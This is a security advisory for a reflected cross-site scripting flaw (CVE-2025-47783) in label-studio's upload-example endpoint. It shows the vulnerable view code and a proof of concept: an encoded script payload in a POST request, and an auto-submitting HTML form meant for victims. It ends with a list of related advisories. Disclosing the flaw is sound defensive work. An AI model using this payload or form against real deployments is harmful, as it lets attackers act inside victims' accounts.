label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
HighCVE-2025-47783 · Published May 15, 2025 · updated Jun 6, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| label-studio PyPI | < 1.18.0 | 1.18.0 |
Details and references
### Summary The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks. ### Details The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. ```python 39: @require_http_methods(['POST']) 40: def upload_example_using_config(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('label_config', '') 43: 44: org_pk = get_organization_from_request(request) 45: secure_mode = False 46: if org_pk is not None: 47: org = generics.get_object_or_404(Organization, pk=org_pk) 48: secure_mode = org.secure_mode 49: 50: try: 51: Project.validate_label_config(config) 52: task_data, _, _ = get_sample_task(config, secure_mode) 53: task_data = playground_replacements(request, task_data) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST) 56: else: 57: response = HttpResponse(json.dumps(task_data)) 58: return response ``` The vulnerability is specifically located in line 57, where HttpResponse is used. ```python 57: response = HttpResponse(json.dumps(task_data)) ``` ### PoC Send the following request after changing the `{host}` to your own. ```css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67 label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e ``` Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim. ```html <html> <body> <form action="http://{domain}/projects/upload-example/" method="POST"> <input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` ### Impact - Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
- CVSS 4.0
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-79
- Also known as
- CVE-2025-47783, PYSEC-2025-124
- github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h
- nvd.nist.gov/vuln/detail/CVE-2025-47783
- github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d
- github.com/HumanSignal/label-studio
- github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml
More Label Studio advisories
All Label Studio| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Feb 142025 | Label Studio allows Server-Side Request Forgery in the S3 Storage Endpoint CVE-2025-25297High8.6fixed in 1.16.0 | High8.6 | 1.16.0 |
| Feb 142025 | Label Studio allows Cross-Site Scripting (XSS) via GET request to `/projects/upload-example` endpoint CVE-2025-25296Medium6.1fixed in 1.16.0 | Medium6.1 | 1.16.0 |
| Jan 12 | Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field CVE-2026-22033Highno fix yet | High | No fix yet |
| Feb 222024 | Label Studio vulnerable to Cross-site Scripting if `<Choices>` or `<Labels>` are used in labeling config CVE-2024-26152Medium4.7fixed in 1.11.0 | Medium4.7 | 1.11.0 |
| Jan 312024 | Label Studio SSRF on Import Bypassing `SSRF_PROTECTION_ENABLED` Protections CVE-2023-47116Medium5.3fixed in 1.11.0 | Medium5.3 | 1.11.0 |
| Jan 242024 | Cross-site Scripting Vulnerability on Data Import CVE-2024-23633Medium4.7fixed in 1.10.1 | Medium4.7 | 1.10.1 |